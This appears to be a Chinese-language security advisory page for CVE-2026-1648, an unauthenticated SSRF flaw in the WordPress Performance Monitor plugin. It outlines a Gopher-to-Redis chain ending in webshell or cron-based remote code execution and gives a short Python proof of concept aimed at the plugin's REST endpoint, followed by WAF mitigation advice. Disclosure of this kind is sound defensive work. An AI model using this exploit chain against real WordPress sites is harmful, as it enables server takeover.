IPBUF安全漏洞报告
English
CVE-2026-1648 CVSS 7.2 高危

CVE-2026-1648 WordPress Performance Monitor SSRF漏洞

披露日期: 2026-03-21

漏洞信息

漏洞编号
CVE-2026-1648
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Performance Monitor

相关标签

SSRFWordPressRCEPerformance MonitorRedisGopherCVE-2026-1648

漏洞概述

WordPress Performance Monitor插件在1.0.6及之前版本中存在严重的服务端请求伪造(SSRF)漏洞。该漏洞源于`/wp-json/performance-monitor/v1/curl_data` REST API端点对'url'参数缺乏充分验证。未经身份验证的攻击者可利用此漏洞通过Gopher等危险协议向任意位置发起Web请求,包括访问内部服务。在特定环境下,该漏洞可与Redis等服务链接,从而实现远程代码执行(RCE),对服务器安全构成严重威胁。

技术细节

该漏洞的核心机制在于WordPress Performance Monitor插件对用户输入的`url`参数缺乏严格的协议和目标地址校验。在`class-rest-callback.php`中,代码直接将用户可控的URL传递给后端的cURL执行函数。由于cURL默认支持多种协议(包括Gopher、HTTP、FTP等),且未对`127.0.0.1`或内网IP段进行限制,攻击者可以利用这一缺陷进行内网端口扫描或服务攻击。利用方式上,攻击者构造Gopher协议的Payload,指向内部Redis服务的6379端口。通过发送精心构造的Redis协议命令(如`FLUSHALL`、`SET`、`CONFIG`等),攻击者可利用Redis的未授权访问漏洞,向Web目录写入Webshell或通过Cron任务反弹Shell。这种利用链将原本的SSRF漏洞升级为远程代码执行(RCE),无需任何用户交互或认证即可实施,危害极大。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标站点是否安装了WordPress Performance Monitor插件,并确认版本号在1.0.6及以下。
STEP 2
2. 发送SSRF请求
攻击者向`/wp-json/performance-monitor/v1/curl_data`端点发送POST请求,并在`url`参数中注入指向内网服务的恶意地址(如Gopher协议)。
STEP 3
3. 探测与利用内网服务
利用SSRF漏洞,攻击者扫描内网端口或直接攻击脆弱服务(如未授权访问的Redis)。
STEP 4
4. 获取RCE
通过Gopher协议向Redis发送恶意命令(如写Webshell或设置Cron任务),从而在服务器上执行任意代码,获取系统权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Exploit Title: WordPress Performance Monitor < 1.0.6 - SSRF (RCE via Redis) # Description: PoC to demonstrate SSRF targeting internal Redis via Gopher import requests import urllib.parse target_url = "http://example.com" endpoint = "/wp-json/performance-monitor/v1/curl_data" # Constructing a simple Redis command to save a string (conceptual) protocol = "gopher" ip = "127.0.0.1" port = "6379" cmd = "PING" # Format: gopher://host:port/_<payload> payload = cmd # URL encoding is crucial for the payload to be passed correctly ssrf_url = f"{protocol}://{ip}:{port}/_" + urllib.parse.quote(payload) data = { "url": ssrf_url } try: response = requests.post(target_url + endpoint, data=data) print(f"Request sent to {target_url}{endpoint}") print(f"Payload URL: {ssrf_url}") print(f"Response Status: {response.status_code}") print(f"Response Body: {response.text[:200]}") except Exception as e: print(f"Error: {e}")

影响范围

WordPress Performance Monitor <= 1.0.6

防御指南

临时缓解措施
建议立即禁用Performance Monitor插件直至应用安全补丁。同时,应在Web应用防火墙(WAF)中添加规则,严格过滤`url`参数,拦截包含`gopher://`、`file://`等协议或内网IP地址(如127.0.0.1, 192.168.x.x, 10.x.x.x)的请求请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表